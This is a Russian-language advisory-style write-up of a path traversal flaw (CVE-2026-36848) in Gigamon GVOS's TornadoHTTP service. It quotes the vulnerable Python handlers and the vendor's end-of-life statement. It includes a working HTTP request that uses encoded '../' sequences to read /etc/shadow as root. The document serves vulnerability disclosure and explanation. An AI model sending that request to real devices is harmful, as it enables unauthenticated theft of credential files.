
Эксплойт для подтверждения концепции для CVE-2026-36848, уязвимости обхода пути в устройствах Gigamon GVOS, позволяющей неаутентифицированное удаленное чтение файлов и частичную запись с привилегиями root через сервис TornadoHTTP на порту 8089.
Критическая уязвимость обхода пути была обнаружена в веб-движке управления на порту 8089 устройств Gigamon-VUE OS (GVOS). Эта ошибка существует в устаревшей подсистеме H-VUE внутри демона persistd и позволяет неаутентифицированному удаленному атакующему с сетевым доступом к сервису читать произвольные файлы и выполнять частичные операции записи (перезапись существующих файлов невозможна) в системе с привилегиями root.
/opt/tms/persistd_py/persistd.pyroot)Веб-сервис TornadoHTTP, работающий на порту 8089, реализует конфигурацию маршрутизации, отображенную внутри /opt/tms/persistd_py/persistd.py. Этот демон предоставляет несколько маршрутов для обработки взаимодействий с базой данных и резервного копирования конфигурации:
app = tornado.web.Application([
(r"/upload(?:/([^/]*))/?", UploadDbFile),
(r"/download/([^/]+)/?", DownloadDbFile),
# ... other routes
])
Обработчики DownloadDbFile и UploadDbFile напрямую потребляют пути, предоставленные пользователем из групп захвата регулярных выражений URI, и передают их без фильтрации в служебные функции нижнего уровня.
Когда клиент запрашивает загрузку файла, обработчик GET вызывает утилиту download_file:
class DownloadDbFile(GenericApiHandler):
@gen.coroutine
def get(self, file_name):
# ... [validation steps skipped for clarity] ...
elif file_name is not None:
msgif = yield download_file(self, file_name)
Базовая целевая функция download_file пытается открыть запрошенный файл, используя наивную конкатенацию строк вместо разрешения безопасного канонического пути:
@gen.coroutine
def download_file(caller, file_name):
buf_size = 4096
caller.set_header('Content-Type', 'application/octet-stream')
caller.set_header('Content-Disposition', 'filename=' + file_name)
msg = 'ok'
try:
# Root Cause: Direct concatenation enables directory breakout via traversal sequences
with open(DBFILE_DIR + file_name, 'r') as f:
while True:
data = f.read(buf_size)
if not data:
break
caller.write(data)
except IOError as ioe:
msg = ioe
raise gen.Return(msg)
Поскольку отсутствует санитарная фильтрация (например, проверка на последовательности обхода каталогов, такие как ..), любая относительная последовательность пути, внедренная через file_name, напрямую конкатенируется с DBFILE_DIR и разрешается относительно корневой системы.
Аналогично, обработчик PUT, используемый для выгрузки базы данных, передает тело запроса и пользовательский путь напрямую в утилиту upload_file:
class UploadDbFile(GenericApiHandler):
@gen.coroutine
def put(self, path=None):
# ...
if path is not None:
msgif = yield upload_file(self.request.body, path)
Процедура upload_file использует os.path.join для определения целевого пути. Однако распространенное ошибочное мнение состоит в том, что os.path.join защищает от обхода. В действительности, если компонент, переданный в os.path.join, представляет собой абсолютный путь или содержит относительные шаги обхода, разрешенный путь выйдет за пределы базового каталога:
@gen.coroutine
def upload_file(body, path):
msg = 'ok'
tmp_path = None
try:
yield lock.acquire()
# Vulnerable Sink 1: os.path.join does not neutralize directory traversal sequences
full_path = os.path.join(DBFILE_DIR, path)
if os.path.exists(full_path):
msg = 'dup'
else:
tmp_path = full_path + '.tmp'
old_files = filesInDir(DBFILE_DIR)
with open(tmp_path, 'wb') as out:
out.write(bytes(body))
# Vulnerable Sink 2: rename operation performs unsafe string concatenation
os.rename(tmp_path, DBFILE_DIR + path)
Это структурное отсутствие санитации входных данных позволяет атакующему предоставить путь, содержащий шаги обхода, что позволяет сервису записывать произвольные файлы за пределами DBFILE_DIR с разрешениями контекста пользователя root, запустившего демон.
Если атакующий кодирует разделители пути в URL (/ как %2F), механизм маршрутизации декодирует и обрабатывает последовательность без проблем, обходя стандартные ограничения пути.
GET /download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow HTTP/1.1
Host: <target_ip>:8089
Accept: /
Ниже приведено официальное заявление и рекомендации по обновлению, предоставленные вендором в отношении данной уязвимости:
Проблема, описанная в этом CVE, присутствовала только в подсистеме H-VUE. Версия GVOS 6 полностью удалила подсистему H-VUE, причем GVOS 5.16.1 была последней версией, включавшей ее. Версия 5.16.1 достигла конца поддержки 26 мая 2023 года. Ни одна из текущих поддерживаемых версий GVOS не содержит эту уязвимость.
Матрица поддержки GVOS, документирующая поддерживаемые версии и даты окончания поддержки, находится здесь:
https://www.gigamon.com/content/dam/customer-portal/MS-Software-Versions-7181.pdfПолитика окончания продажи и окончания срока службы Gigamon находится здесь:
https://www.gigamon.com/support/policies/eol-policy.htmlНи одна производственная среда Gigamon не должна работать на неподдерживаемой версии программного обеспечения (NIST SP 800-53 SA-22 «Неподдерживаемые компоненты системы»). Если вы это делаете, Gigamon настоятельно рекомендует как можно скорее обновиться до поддерживаемого релиза. Поддерживаемые клиенты могут получить обновленные версии GVOS на портале сообщества Gigamon. Неподдерживаемым клиентам предлагается связаться с Gigamon для обсуждения вариантов поддержки:
https://www.gigamon.com/contact-sales.html
Мы хотели бы выразить благодарность командам безопасности продуктов и инженерному отделу Gigamon за образцовую координацию в процессе раскрытия этой уязвимости.